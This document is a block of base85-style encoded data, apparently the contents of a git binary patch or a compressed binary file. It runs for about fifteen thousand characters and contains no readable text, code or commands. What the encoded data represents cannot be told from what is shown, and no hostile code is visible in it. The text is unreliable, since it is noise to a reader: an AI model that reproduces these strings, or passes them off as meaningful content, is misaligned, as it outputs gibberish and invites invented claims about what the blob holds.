zjMmFDwY=wB%XeYk`Gc?Ez$zI=PHAn3xYAs2fEU?UYiKAf;r6l+r(> z6kbzQUJuq|w9buueVY=b;m4#;j=Q}H4Q}AUdg$sDjvq(A0^YUdCAikrMU_Rgs5htG zqNK3R{d=)lu?zh%abvN6Ep-VuE2_}tDe6LhU)-1#(UdcrrDH3$(^L#;zq(?3c;2Pm zDz=AbRNA~^dw7awMVCO&-TwL^3%wu&-~OKz*x>W47u|gRKtfSjd|)D=P;JD~2JMT2 zk{C>CcmEayQQJOj_t57_O702FDy-|ryY*?t#0R_^1BLu9uXqf8L2=wf+70l6zVPEy9?Of# zX&UZN`10ZG?q&4UF2l)dLd}WfC=K_A$PqAOqK9NW{j2caY?=c40~Sf-A=$~Rh5Rsk zozl2qq6J<2>LU#F)Kz_i!ABkF`r(7i3M0Vv^Q0Pgkj@*p7f^;@$d*p2$>ke~C{+6@ zk8b(|#$nh5S~`vo1ErpF?SCA%d@3~IDd`DD$|oC0wK3GHhIk^VbSuJ-VGMf8uGACG zbrKh6Pk73!!Z|(7QzMb0onuc2o&SV;0>)E51=meG!f`zAvS(-LOVL`LYDm4qK(s2?wCmO;I;;Do7)ImJetJG6ZQ@E3^k#FKAvUQm)L4dX)_)P%uEgeDRk=9(wcMH1)H%-D z(vTC{AmbGlRV5M<74Bs(RrrJxl@t)?zaA4(678k%V+ejcB+=0D$Dq^)qICAX#m|yZ zKayl^1 zfAQ2`d%{95IOAUk^OTPcddCkCvjN&{fSBclnehoU{49x6sw9vro^rLPT=8^jrJmY_ zR;NxD$BTrI4e2BYiR(ey^&oNm0p1iSMzVh^^)p2L4AFjuh@S^4^%FYUbhHL%+)(i} zRC^jKp1M}*DYV$&JgGFv;o^F@c0F8Ne~H&vBa6k930`f2gBCg`Gga0#pObl#K%Pz@ zPZGGc(geCo0&?yNEjM_`S6c39i8fkC8!gd(!n+bfU8^G?w7PuT>c&XCF*@EDiC0i* zyc;Ej;P759LQ9-!c~YDcB0-~>+dfoMC%t4N!H#>?+c4fw%xTpLZeSZ1Y1JUfeT^5c zjlDh^FB2)4Tv#SCoLpEYD!GtM5R1>ql*#zeOlX51lnJq9GQd8Qe3;|dsd*+75KzX1 zHt0c_5KAW8;%P%BKUTECGv4aZ201H)jtzCN%4jkIOGdOo56XyG0%wK?4j$>Dfvu;< zRQQ*`v_TIFOe}#n;I%jzib^ZC4m<E&_?N)6K@SQ{EP?42+t6CDg4HviR)r=t!OiZ%0j(BD&BcK_uDI@1h$7)> zgB}!~SYkYj+hk%bXNXE2u7RC6qz!tILt=55Q>nwyq=QFgr7?=(N@CCkJt#&o{ni6h zMlK@uf5od_Ug+M-goV}KTaSQ}32o4WG9i{suB$W?JWVo_GoMdOp#u=SwpKa-8{u8T z(gr;!EU|?B9$i9XsG0GX1CS33s{z=8fRYJq(1S7|mP`iQXM!`mT_#%*P%@zndQc|B zlF6sMA(wq~7_AF!kSQLv>QGM`lS7BptbcaEUc%D`Jt#b}4qtjrsBy(3HF#Kt2B3)( zJVWh-9|=Gk^q>I5IzV9D`hD1Zi`xEQdQ`k$oQ3;$N%~7l@JY2Kx;KdzN|Hy?okO~V zTzVo&t7*h=AJC`1zr?q_qonTT7-_=m4~IT`O@V{Km`;y$8|%da0)3@UHe zLL@)mQsfVzBp@c=RrFW#ngP0I?*Hx?dTj)!K!@Kkf#BJ+*ZB4%y{Sb$KZB{D-_46F zF1^?OWtg&$MbZ1XC3@2iI(!=d?s_Cs+QFB3yg(^sZHX70TnA%Iw_1bMx}jY{+pDSi z^?7>0_`NVS9I;yVwCnV3=kF% zw<;@~XwKJtyPJ6Qo=vH+2JvEzsmIcEGhXlvR!K*#P1LC{AqKTJle_D zM_RI&hRlx|jLyC%gL!@d2-a#l!t;%(?J(V7Oe1yrpEM}k?O z6zW88y7e(VApAKSn^WH-Fy%csnSJ19t7GlsBJCppsAi;E>b}i59?fz6W||r=v3AeW z6J5VisK%zx8PkYUSXkzf>*$+c$|E(<_^>^zwPI7gu-k?|_-HWv9zc}m{)NWWHvBMS zYJ1s8*O|9AK5Pf>yO~rpS=pW2R>F>V+KcRfzIejU!AR|3C_9L1zMjse_R0VDNHF;_ zK=?ZYYdqm!F{WXw%^I98eu4Wiz6$ z-}*oq@jjp?rG!O5{55M}sT#?&_aRmRkITu;)OA7^~n z4&3L{q-fjl&lpqNqKCkg&nDLxAGVqMjj3(s`yZB~Z8Lw#nA#?M8%(+A8>9DenlZI4 z`q0#jCv` zS)q3&D?O37VuPApA$ZUIf=}&5S=VbYWgp9p58DE7H>S3Gzl#pv-uSQ$fB3XmZecWM8Z8Ptt!=GV%M2ujiQ^aQsY=dr^9QANbVN=S`Zh3eq?0A?j1cY6&Bkzx$ zs{5W;ecwL|gMNPoRO5G>?z;&P<-szAO{1t^$G$N7*bS-O z4+5fG<}Wj*wiS;urq!-tcyxOigF2Rbwze^~9o-M^m#N>tGU^OA<>_FX@Z~V&qO+s- zajY@5E&7xDWJcKT)~DGt218X8YdKznV9G^bX~NrPo~(T|F+OYuf7f`a-ZuPPm~siT zj1SxJR~b{=@Fy8l+x_-UffQ|<@M4&9(a*4tMwRY+bclQvXM_nFF*-8=fUv%i%jn&A2dml%sHX2Ly6<8@l#}FEV`@7|I=u*9DMQ9h?F zGN!ik?H)F@Py1Y*b~h8-cF4TO)HdyncU5tiR6123=iYow*yebRF||Ec`q|VQc_>$! z<1cqoMbx{sUt5Rw7$3Ib-x(G4z!e%(+sw0J$^&;U`-tjvRhLaEvfUDA$H-vp&44Jc zlvCN%K6ZZ{yRV6DyZ&xuOl^1e$9Yj#{1i-ik3C|1*k*o(F}2OSg%01?_^=KC>1|TI zZTLBC8r3u%Y@*sGd@4+N%ukHo$JZmGF8T#yYI}SSH>S2lp8-=YIyHJ9KinF1(JNuf z;a@a9Y)cqnOl>FHnL2#C=zaV&T&lO-Z>wO+)h{tVY^%>Rrnc3eWlR%sUJrYpQ`pnC z$lLyZ-V)6GXF%|*Zku_LF}2P79vyy^@nIXjvoW;|@96Nq-W+xHYmBLF_;G9+)#>pZ z6V-OS>cEsIYfSV$HVl*TvMqYDF}0nn7a3FAq8r1Mi>?>Fk8MMvF8WcJa`-9H`?%Pc z+74Wj4xbRcj~zEr^%U7|-8dU|T>5l&5Y^M%{!zwG*0GyJAA8r0(bYX4c3k%p?11aG zowd2f^jOOidrM<#J6jIi5X^ixAj)gPbH>y*^P7yRZRTk@^H#=39m|0`I7EuJ&3u_L zwat7KOnJ5pGd^rHPdBEvng4pd6m6UN8klnCFB>1W^L(^1wavV%F|{497-MQ%^oHw# zMZW=v@(?L7rnW@~jHzwW^^B=)(c1RnrY|1A?+oCTvrnZ?UMW66zgMvlx z0EB<$HvA=1thz%!Q_dBJr5V~@&7%AUgbGe7+d*ol(`{*d#9E#K5By8Q+s>{fY#NV% z)qgUBPa0!QEZa1DMsFH#Ol>QCZy*hhMTN83faim4h1VKW+cZzHP4nk#WvAPwS!7IY z)4YdGEk?7CiDjE+Lt|>2=FVIhoUmh>-t~@Y9Qjt31;)TO&7sEBHqFzGY0c7fjDc;M zZ(k!rVw>h9V_LH`FE<9ZX*M^ewrTFUS}Lqrn#+xWZJM{UX>F&n_u*7J!On?3Rvp_| zpIjvaVO!VJY-&;0&C$ndZyPHn`dAwV$dK4htI2Fi16jjM!U1e*F<;u4Shi`FT^@CX zuNYI?3hy+gH9OIsXAEpBJSKY6?fqqNY%83_rWOa&^(K~Wg{je-{%~2;6|Q7ci{tP< z6U(;3^Np$Pjz}=35mT+2CuKV>4L%Xv42be6|5RgYoB1Wi)Hd^`I`jI*hwYeubcqyg zoB0#Q)Hd^6nDW!a%Zv}(%$pfg+st?8NYS>LKL=CJ{7K`(HuHheo3=8hwnZPjIO?L8 z!IX<$XnfcfJuG_DbYp5;^soJ*E_w}2x#*XT58I+gM{nBInA#Q{V@z$Q_lAptMZW=v z@?=;Ly=lOh+7?~UnA#S-Ejw8BCP0)$Pcf#pnO|&76S3a4d6hp2raVUzj1Sv6x}&cY zZJYUH#?&_Rt6|ESUt)aNX5Q48+GhSmA1T^4^Z794%%3nmY%|Y|-n6ALwJrLj(X!#c*)w&<IxScQ`-uM zv8lz4#4aY5ZH1obP2cGugJWA^A)Ch3{3VMkOf1_9TSRZVw|mqTKF_9}npZg5#Imih zt1-3R5iv036WDK=QmSqEH;k!m_yRVyIF|dFShi_4F{ZX@?mC+W$Krr|fel;-FL2tX zIoz1qrg;XNS{zkA6U#QuP2FU^*rqv!O+7R?5mznD#mIM(TxDX}rg@SvwN3MzuE9g& zb3l|U!Do!AZTKN3LL+0^3Dm}+9#rg@1mwN0}rn_3(i`#Z~! z*rxfCF||$eHa4|5GW}a(IZ8LAF!#6WNY{T#FAl2K3e-5Tx{gcLrZTNx4)HZx8 z9lp8oVH3m52ve^9Y2(8-{2*g$TYYOCKH2!N4gXbo)YUJ7DOW$&_^=IsoiVko zzKsrllJQ|1{+rXIu6{90x%y{}58LoVjHzw)ZFP7*AnfECd0Fu2zK7GKT-(#!>&En0 zJgc*LRsLRM8Zkf^!La9o!G)&nXtY2G-WiQetVGK+KRrzb$F{;b#`K@6u&W7STUZQC zd2oJfCl%Tb@EgX|c5n)escq%~m~!T4NAJTIz3Ha5GG4YtPk||CexLDSJLcybQ`_(f z#?*Gqcccb0-wcTIaGYvPZ8N__hwp8C*bZEMV`>}zqc&2s?Z7<&Q{Ls%j1SxJml;#r z@Xd7ihQ>!7%TwUaQ>A*_%%3!-wwVuvDG%J`(fep_Ol>pY(^`s-7%!w%+2zT$!hD3_ z3UB|5SYa3O$Y)4hjHzvSj}Cu0rRq|v3I95q)~@*t-O16%y2zN?mf9GmJks@ykBGfm zO{v>j$tc-|e-x%1ev0v78~$QrY8yUDhfgp*Y{Tz3CF<%QGo}#-VZ|efM`?&LuuZeA zF|{3~A6rU=5ouO4HC}}&Xa17$VVn7F#?&_R3}YIRd8Gp!XAEp(ZShAvN)H>;h{36t zW^jdJn_WAE;2qJ@#Ip5q;AEHg_wj48>`dDMUc;s_RCL4uS2LH!!IU!}%|7_Bu{{d98dKZwF*^KjEvmg$@)5dl zs_#|bcaiQpxB9+gb>ETI_wA?qo(G8X&^yMM+V1G>%_XYsPMXE0JV)s02)jvyQ4L#4 z^C(|$V%hH1RAXve;SVPSck(_!lmq;tF|`dp!kF3)@R@9CF~G4VmhAv{R{ifKTxer+~0=iF}58Mf9dEjH&H3-+NrtgY`U2x#&5@hi%b= zqc=U(nA#ToeNxm#uYf5R{etmfTlDbgP0ui9wZX&2)Hd@=Val0b zXnfda-oTjJj`@G^d?v~($84B#=F_A1(VtE2ufEATb`wC@RVMQ4d#GVB&r(1&eK+d9 zZ&u%Tw(dK<`o6<;-|GRv@y1RIUoeN|7J0QyHKw+c?1u&v)qa>)!;W|HQg*->dD|H_ z(wN$&-ARW(-T1H#|4aR-2mCc-YMXgJn|iT_Bi|~H0gZfK)E5R}`#*9Xr=kn*jFYSH z>*&6}BJ=L6uvoHO-o6Pt4z`jVRDR$Nzt|mKLt}R`jO~;TwzRYi*8{| zZD-5g_^6A19;RIM9OJ__^TEc{HuF<;_!Er}+x_-+oK$anrFp@a+Gai+raW-h8y~g< zmugIHGyegj6g;?XGhYc)&iqB=!*$E-5$9~5bEd6!B|E50+&<~-4d&+jGn&@qIL>GQnnO)T3qQ;n(ZDE)vJkb)IP9J`q3VXMSozlfu)Vn04UW*Nt}V;eVrGu}$T%i{m@_@5E@pAq<<5r}dGwgex&C*ltwW#KQQBn2ks z_!9%zj1P=EI16qIC;KeXh0@8bEs2MdE_F5* zu0^2mK5*FktStY4yhb22Ay|m({lDQ-U#U+xs=DB+YRnCH6;a-xf1B1_y7Bk^76pA^>m7PYbx1R_0Z?2(BE0`9CE6n7)gkczKQ|_ZYst= z;S83r(&xePxmt;vJOKtYw6}jWoq^FY2SL?^jQgWG4W84SyvF=CeDXB>x``fiPTN0@ z&V>}$$8kqsv->j7KM@+Y3V7d0=vc%;spS}!kPOPO*{l7gzsjIxK3ri=(RC5yhv_x) zBEo0~B_gw-$U*tW$ytYq2mZZb+^{fzukYtEM5+YJyHE7P(~$paQ|O#2&Hh`x#k4QR zlg2>s2;-%mS?LuVlbzy|gafQr!mGaS{G=0a!FB$?l=3<0px>D;107|` z107)+2bzihKBo)D|9d97w^7E_0rW7_JkeH&7K6iE^=kxD{RWDbC)zsEc8GR5rrB)v zd;w@KQ=!l{kn+42q&%nNhN9B4KuVh?+I-P|6wQbG7OG!Akg^>l+H%p>i&hW!x0OXc zNLfr1?Mu-PiPj@t_san(+j*j`5G@8TmMDLXK&szB(egxFC)y6tPQuMSW!nLyZ0{9q zhG<`kc1X0-aTD!v9^D+!G^QD#15CxDdGMm8>em#c`duX2jiSvJZMA4Wh*k?v7?f>y zkn(rAXfr@6?jq6lNk0d#ovYR)p;JIJIMZ$*H3pXojRC3Am?ShyXc0)|vJa$kaq!lJ zU<{!&kn&9Lc~JgxK+1NI&;pRMeN*T^Lf?aw7f+)0(h#J)oGdg1q;kmzDSxwsmV(N- z-gO|A%MOt8vR5djzV?y{QeOIllx)7xH%-f)8+`3EXkWgK`|3$U-1E~yd6dDauUOops#a_IP9Or4KQ$R}V3{w5( zf|S3Ph29qWROm;c9=I*2;$8t#BQzAGD!NN(DoA<$5~M7C2PuoXcvGjcI9@0Xq%1~( z)R;~K?d9yBmwsI+g{W`R_GOF=5XjY1_LmEU2Z+IT;>@|Pq;?-5u2hJcj6e30@t zOK2%b`P(S;2}t?dC-gf=`O9dk{bhrczac{TAmwkC&?1oXNAEyW^e#yGi^qo+9_KMl z1_k$rP&O#IKZNcCDK8U*9tSCZJ3-1{8A$ny#|J|cC4-c|459Nu%3pt>8$rt7i=Zbs zzjr{&%jZJBfRw*uaJg6145apXTcI8x6(d{dYN25u6>YW9cA*18DfsM@>UWdS-9l?Y zs`9O()yIwR;OK&s?e#+QK#y>3^qID)Oz(q~#b?s5O|sTHfs~h9MJo_(t!Udt8+@X+ zy$7Uhi$LXA!}y$`Cuwag=tqaNRiga>Qn`3f*8R=}sl6}?w1h2YftE5AftE4t0xf5% zehskpa;)R;abG+$^r zNX6X?QZdSfj!n^8I!MLs22wHliFUPUH-l8%H6RsthtPhZUqLFazqO8Wwotav2#|_9 z7Np`%6YVL{UIMAOzk*cUgi|&7h0;MPE`2eHs&|yoOrga>+d(RWFF-1TBcjE((OMEn zWk6r}a)4*fEkfgk=$m9z2J1m8gD-@B7HW{H<2DDWxap#G6Ri(O#hnCFN8Z;Ul|kRO z+V&=)yFov4ev3ds3y`vC*-l$@6r%5JQWg(@RKI6If5y-;y%_W}{CS-XAeHGyLI;HC ztEyCMz0))`6G{_0TPR!T8lmAr_XtfDdRl0y(3?VALBDXOJ3zlO?F1cW+6DTJsRZ;p z(_YXYO#47bm=1!DG8LrjF_=We+Owd2AfNNSQ1A9yyIyFS&_1E`4!Ykwq1S}koS|Ds z3T+cA6$*6J{iX_iB6R+lx^;%oW}#yDH@+J{RiUNw=;My1cX2_6QB@ zqP6>l%7sRE)vZ4WUD8c!yM;QOt+fY)N`?An>ehKe$9LCSN1?}sN`?CN(EUCZ%I>MP zPlN_#Y3**IJwo(1KGZzO29;w*c%2-O<00w~@-Phm#W3Z9yi9{YKBgfcx^v@ohJs?5 zhJ)gm@<8!Sqd~Qp#(-)w<%8-ljR)0bngFWDG#PXZ(^OCb(+p4|(=1SZrrDqdOmjdD zndXBUF)aig%d{BOm}x1f3DXKt64NTsaZGDKO__>8$1|-5HDlTcI)P~ms5#SCPz$CV zpk$_Wo^oUN9}CT0j4WKs@?}cn^{{Tt(!ql zv35YT*xp)e2~u9Vi#81O7F#?bt@P*e=CbylX!}L0f1&o$7Nnx}7Hx=V4~X^zXd3%l zCE5<@_mgM|eYC$eAeHI4ppV)17SRf&-vZIz60KCUxW3xo$spzLY|-d1SSsyK(Vhdn z!_hWN>o*`Z8g;X^MKVZL)Je2UL7%Ygy`c3>i=_1(kn-}CXr7C-mJCw4bOC+Hwu3~= z2km5SG3afk9nx9`QhOnxpZ3xQq_p!zyAJd|+fET}k@VXn+E<_txL>`CwZGP&uUHF+ zHV8C_wF1$e7HxxQdq66ea?y^@ah%m`n+Z~t4*(UhHeR$jAZ5Eow4I=>+|Rj0+tS~X zR-@ZlH2TxjN*g8GB+xXrT_DuTSVI@THNK@ z-^n25uZL(?i*~yD@A)3q{jJk(S8U0 zn`4}GrS{hir2Jha+8v_J5^XU^`P(GgXQKTsTH^uQUpJ7-`3lkQ5bY7sUKj0S(GH8& z=qkrq#5s2XDS!PzD(Blpn=aaGqJ02TIUf`){%UR83Z(q?6zv+(?gDM&xC=lVnYM#A zFqMOfnOa>VUO+0VYec&X^cwejMzlAj->0H|4^o-d&DH)=K+4~_qWw#>dqkTKQnpJ) z+amo+MT@&u`#S}sD(?YW;LytBTG8&7e$Ru}aO;QC`Yq@w)@lvZURr`aW$i-IZUD_? zZGvd?MJpC<7f6ke?_b(qGDz8;E!vf$-6`4>kgEIz(KblGuSJU)r2U-;Qk8cFsmce4 zHd^}45p9iVpNjUYXpIMJf9W8V^F^W!18wIqcto^i((hx@eip6Kb=qGVNcrn8TApar zMOz};`=T8Xt=9G0UrUhkccEz4g4Fnp6>XYmOGMiYQno*dmM}zX?LcZw&j&5$dPj&h z1@t0oFN(Gar2PFLTD=<_=Oyl!3R3<8Ak}ZUXp=#+x!((-Z4m8i(PD1Y{Z0fae_cUp ze+(9F97yFnN3=B{757uoeig07P1;{)km`4ZXrn}XM6~BYYMkE@?MvzRr)W)w>J@Dd z&;hRUYLJR?r)X0^%HKlK)`MPQi!#t!re?z&XC+e>NcqbJDS!8f_JnA!inbl3{QV(X zlbf||N09Q@Pqdpwn*`d%ahHqszV!Q6v|6`le=R}E-&r74+oht7kbVz~_M&K;MEeY+ zY=0N6@o>jk$hoA0RE$0#Rof`hrh(MBEEDZL(6em&vuO2i)$=M1r2O>;&F6l3qD=)U ze@jH$40?|H{Uln#2;Hw8NclS-^aA%AA=(s>%H>7THi1-(A4IEno6aQ_r2GXy>X;cW z+GLQ*;&fL>v3u4u1=)EMj%?XYM~MrnWTL8{-CqTMdqOwpE$_K9e}h<5Dl+TZCQwXpc+3b)tPP+ELMtyHoq?4pRQE0;#xTM4KhrtDGLTePE~rF<+LcaQdW2Iv)a%!qae zXc=pdh_+1neJt9~pyk}Je!lkC7Nq=LBHFDWwLhkcwiqXBA=)R>?>EtoEzthDg4900 z9Hioo7Hx)TFN^kpXy1ued%U(y2PuDjKq{AEqD>TSp=j$x+ap@JXszzk{(6EI^Vkm* zZ7gUmYfp-{TC|;_9Rev^|NYuume3H8^74Ra&xp2Jv~NJ_Odb1x_Hq(PY28J;1T>Aa z8X?*g>Gz^&n?&0uns0*kcQQzgqNT~q--A*?Pbt%w%8`xccRssto@w`QnuYhy8@)@y+gDIrQaga-T|rF zz7p*>>DTx{9U~p2&QceNHW;Mh-YeQuAeHm$qJ1d+z7wtX6y2{iNR3M`(FTb&8l+-8 zBHA*L%6Y432Suy%koMOCq-?v0)*rNl$Mkm5ri->*w0A(tc8_S~AXQuQsX9g{kkT#} zZKP;3L|X__{@xaCH%N^sz09h{pczPMokhD$v{9l>0x5qBM0*RglxzD^v_C~V0o_%M zvp}j}f6<15@DEpriK0CVTEg0T(Mm)s7w!1zx?d-diqQvz4)AxAXb(ug=R{j4+HTQ~ ziq>+5_SYSxa?TZPjA&1Y_Nr)Ki1r6)8RydU5$&%dNNJadcB^QQiS`O;Ios|KtxU9p znc80)km`4_Xt#jW_)QUQk!YJl`${z5quO6GNZAHN8w65gP$1gVqP-#7C!+l(+Oe~= zZC8-mN0)=t7>pKehG;K~_JL^MiB|hDZJQ1X?sJeDgJGgg6m6ks>qXlmTDfSg9@qYQ zf>gZ&MH>rJXxD*MjQd2JD_XH=yFe=LAEGsRN^56> z)IPcrq-wiUw3(v4BHD)_6}L>Zx=(AZ14#MH2C1BH5v@?PMWVeU+E=1^=IHfHYmoBS z3#958BwD^`PmA`NXrGAo3rMYpn&X%9*9oNRxLmZ6qRkL(sc0XFRtmyDoWmN<)Ba8a zsqyP0+Kr-36zy5j){9mGQvTwf(f<4(HGVxsyGFFJqCE~$w(CUu9HhqTsA$K{*IEWh zjX@4b*^Uuy7D$cDtD!MiHqpKVsWGUxK>KSAQd&T?L829i_9#gCTOrz3kQ$foMXR$= zYo~%#&gY0WShPDp%HK@UmV?w-eJI+uqSbv~`%3|-e&>pIB}n-jE!qsw%RB}zi}nFX zjq|UfHC&{}IUS^O?jzbT(Z+#PjHg5^0;%!)ShSx-YxIKlmjY6@y+pefq{c5_wArG) zCfWxeWqVMx_{Dk*T7eF5l|4lpDB38HvYjs45|A2$_eDDZQe)NNMeVO0NcFo=v>QO` z7@Q#5Y>5FQnqnON%=b& zgv$laLp?;h8nm3XyG45#q-rClQ0tsu2mr;4^1q()q74J7xRXU&DB4!h4uVwNI;*t5Rv@MI z740UFiaSZP=R|v7v;!bzTWhuU*Ak?1xlptlK+4|)(dL7c?N-n_-qVMrwNa5Cwe}!2 zhx&?kvuO8%rm^iz(Uyb$&DtlT{Q^>Z;n>%-ztcfV%NA`ANckHr+6>SR_V==AAApqY zuc9?vqqTI9%DE2+OA{Om!$g}X+A`7J11Wz8MT>u3Ypp=aUr*6)672yH7Ac7FoM`Jr z+b!Br(OSNt{dEVaxVfT@0V#j;MJtwmUx@aH^lSR2_SX@lY_AsWPSG9{?G@2J6YV$A zl8Uvz4j`4^#iHFJ+M}Yq3{r8oiT0iJtG8DBI}xPz?-`<91e)v6_}wAeBOv8(g=kwv zJ1klwOkCBkJxJ}Nb3rP`Akp%r-_xSK2Aa!p_lQ<5TJyKGzfK?(W1whbLCW??(N>GL zTePE~XE;W)_1a$sNNJaeb`wbDJVCVi((f(Nz7XwC(VD)kbLjz6V{o--cZ>FzXsblq z0#b4Ji{`$g{rN%4U#4i+h;|!D**+lJGtzIfXy1qyyFvRq34|pK_IY>FE&(ZjBSf15 zQsexhXq!OFcAsdzjk;edNaY+5?RwGf0;w3YL|Y;Kwu|Gy_cpNRIGXve;*bM63AIcI}ZjM1Xa0I4x}S+oy8i#YBdAe>k*lC3s74o(T6 zi$Mqjx(9>~paq}mX!AuY7VQhs{t&In2ijkI zklMf3fWG7^3qiY?UIl%|^aV&|@CRr(Dcfw(hKg1w+5*wu5$#LSJSa@%d;&=M>m}N?AXP`cXtO~ozt=?jkM#RR zv}g??JCjk0IlHt`-o`EK(Da&83>0B zW=XC8IL;SLXMjqWt_6M0G!dk7eijrw@n&Jc+fP?`B@N_7pUz+5DsC`FVe5UCyuj~F67ws9*-UKOs--zZd(Z}0K zAmy(cNX58Lw0lLHE86R#?Go)UXn{lfvdM1kuRTclyHd2m>uTvM)l_?R_jj0jnY^EeoCQ~y|ccx@e4<eV;Tgym}v+ohiNG25~ksxOPTUOmobe7^=BFbx|}H=bOqCR(3MORKm(X2 zgRWwl3c8wU2Iv~5S)g2|*`RBg=70t=%?JI9X(4D3(_+wIrlp|km{x$UXIcds!n6i- z15+{RMyBc}xdE zBbmxTqnHkXZf80S8qIVBbO)1j&~ff$@`3JRiU*BhstdZCDG@Z5sS)TNrX)~4Q!~&w zrex5)Ony)SQwnH2Q!3~_rZmv~OdUWEFlB%yFm(Y%>vC~nhl!EGzT<~X+G!~riGySOp8I!GA#u?$Fu^p zfN2$IA=4Vr^GwB{MNI2KFEDKcEoRyRdXZ@>=q08dpe0N@K}(r-ftE3qfR;1u1-;C) z543{mAm|mQGSEt zQqb2-D?r~ctpe?1S_9h8R17-6v>sH-v=MZWX$$CErmdjwn0A1^XW9uWW7-A!fvE)a zBhy~cPfYtjhnNn6er75I{latz^efY0&|#({px>CB@9_N*Og_*bO!1&2Om#s=nG!*N zGBpB~GbMqX7&?zP19_N|K`~5zke4Y1H@08lnJWM zlm)886adv_>J6&LlnpwDDF>9m)E|_{GyqheDHqg$X%MI((-2T2rlFu?nTCTJGv$Gr zFpUN!F^vHo$CMAE?@jhP<3YzWO#n4xnhZLDX)35W(+p4xrdgn5rrDqqndX4#TNk~~ ze9*~E3qgLS#h{i*2upnQJ1AP+AG9_{DE3Dj-P|t#QWm!e%>qs5)(=2fXuw~Yv^M!kTPy|j;tW=R z&S6>wI+tk;D8N((Us9eKqwB>d+%^LW$A#4qs|?{VT!!uBy9 z=a?S&P4kboahXW;oZxusdz|{T-Pq$a9*EyKp&##QsO;~>b_0*o06JYoaXP>mFFQt4 zt`NngV?#f1GLc6=Av_PXDgEIo|VSx^DYobsiP(N-> z0?{2ftf7UHK{?#&2R()VUMEE;6?7@Lrh%U3RyrFf$^iA})-Iqq`0sTxg|a|ba4YTS zx%lsOdJAQP25@T*XdbuH*;LU0(AC_U3wj3sz0M$^As{*f;@iJK^SPDIA&T-q1G#lH z=vi(ZBa{ys#I55&&*8t9S15`mWBWR8oeEmOtuusXfrfDFY|uh(og+liZ{${Lc^?10 z{Q9|~rPvw;mEY3>wX?M?h2oCM4#$A|L2ZZpDR;-@k?V zCzJ>p!>x@#be8k-cb+L~25l_2CWBt)R=-dRD4$#D=%n%T^7n@+>HzItZp{GEU18iq z70LvS=hiIHN^T7Z^#c9zfTnWmWDv~-FW*a3Gy~c+Zk+{som*!M%>m8e*7=|} zxOJh>V$e)(T?%@WTUQ9J0?p#qHK1Z{Ef!i2dYoG~g4S~D7NM=6+1$DVw2oVM3he?t z#jPcvx43n$&_2){ZaoNE&#h%bhd}eV^)TpdZapI8pk+R{`tb7|ZjBeJ3wn-Q6Y+Bc zw>A<=0xjg$X81`*m6x9rEAm5I#H}g#xrtj-h0;KaxwQj+zRRr{LR~;Facd@iZsyi3 zp#W$pxAw+QI)>F+PEiiD<=omIKi}il0YbT;72G-qKi}upAwokzE4g(zety8Mc|xN> ztGIOxe$pAk%g2?X@z9F6bpn3ktr%#XEHo9ghFfRg=QeJgB{UoK2Dj3F+|I4@g%*N} zxs^tY&QD&hUlCQaj$0|We{(BEQbcy^xs`r?#H|~Jwt(K@)~)#YA8y?tv=c;qz0NND zq_d&dDG}NWdY4=G;U`}3N9#eMG7x$9I*0HRFW-X>3mpNy&#jR8`+RWy6^aK@J~;n@ z=-lgd=#S7SqQ6qHja!pIczGPH&4iLcRDsv=gFffh6e0S{ryp@^8t4md?I4r^qMC93 z1C?-Vrcf5>6K)NFc5`cQp==P1625&C^d-0U7a9QioLh52d$@Iw&=3%fE3UsFx~_Pg z;X-+!FS&Iz2rsyzb&OCx_2bs@ps%@gg3x3lZk-CE^`6(6Av6m_`_AjkCgRpPLi0ff zxOE|DKesLxS_-1Q?R8dAKW<$mvLS_KV#* zZ0>rnU(Ub(?2vch&~3e&c3jnC?V|@{zUcJEw;PX3`{u3t;gBDh|GH(^@OC#0T7Qer zQ(jK-GOrtaZC<;yw5c8^Un%VdjTro|yitS604G#@tLkZN8~UT&puq!2Uhlt{G$e*T zboC2=v>SA7-nBsq1)$H?OkC|jA2xoUrUM>*2MxM7TOo3xeCXlB|Ka$rl%75Nk?739 ze^Gkekat^fE|c1`Z+1HMp@f5dpirmGP^CR}$qrMf4{8ruWnG-j!RCZ1)Tcz0bI$G8 zo`NOw9#NLK(+eeD6!huY6H2Zq*l?2Ye~u{V6Cg*$qEMfc=m$zrRh*k0j3o*+x5fWl zQ399s8+`q3xORv_ea^&xI%4pT|KlDcs4Ps$fs%~DHhpe{k{zbp31xVgG6l+nFoo9n z3&RvzgKZ2`=q$G{Oo_*cCb^-}lc1!D!UG7a{vitQ_TZIH*OdyZA<_p1{3`!wQO*fE zniHz9qotx?oG-la^p4I(QOHjgJnsxsXzn<%p*dd#B{5978A?W&awn94C>LJby=UHt zq0VqoC>A}FA0IY8Goj>%^?4o2)G&qDNMTA0X4BFzh34tbFoo`EmxL)-K#7kFt?PCu ziJ}C~YoCr|!^seZa-M}gnWFUWtNP@MLVf0=&yX->DU``!%BN6fiPAIsl78JWrBlO3 zzBVT5jL<$fQU_mOEDFVHf482eVakP2GQyOr zp!5$@ZiO--OqmH~PMGp0l$~J;U9t9sDPKW39H#g%PvdKcX4nc!W|(pwlti zNFP$DPqFmDdF=G`j2=#zC={zDVx`s78LB>6POd1_=XCU$BZ}%1aJGsC!M;FUc>PuOAjMjSKH1Wz z-3YU|!34$H=H@=s3-_`P9y3c3{aiz_@Zdg7-$I!arW}u>e<{xFrcZk)bS5#%IoK-h z8mbJ0;`9nt3ZSHk(k^fC=sf?hn<*$JF*3XYuW^k+pEp0;@*b&ppVQ!Bw++ryjED|S z!+6Xh&-~EJ^AXA$5z6)mWp9M?bA%Fyxf~v=b%c@?R9wlh50t4eGYb8+I$Fh%Li-i( z*Md?Uri_777N$G`B^yN>tL0FJhbiwt*&3!Cgp!6J#;PuklBr=zODMF~GJWWX%*75h zN)D7cVahNl=n&H9ezFQvo`g~yrmTRHjAPz-eiur9n6d{-NtkjJN*d;(v1)?(zBEi} z4t`d{q52Y6If)c!k@Op?KhJ$6LYs7OgD0YN$hsZum5 z3TZHr^hp`8frtjNprFK#J@&3qQBhH2?;1ObC3ftw-*>N>{agE-y-yov;vy?j1ox^HSpwG$XC$Xp9U^5`r|m$BJBz$X$E7b8bUq(O&Mz4LpJd|x+bS40+BksgTP1mW7!bVR0Fkx_`Ou_7}N*P0oI9 zP6Z+>y1OH1Ao8jeS&2xu{oOg&o17l*$XZ0Y9_Ws|g~-%{+>!4QS&`swQr6QQnTW`W!`zWPMCSBzN2(F=^l?X)A~LmaYh+$QWo~I{5k7#^8bQ8i zrOB}(HzU$#tUKp1MAlf5mrTwN?wpSi+3>SF@*^T;zqlibIFi==+8RNB@Kk{PjBA}U 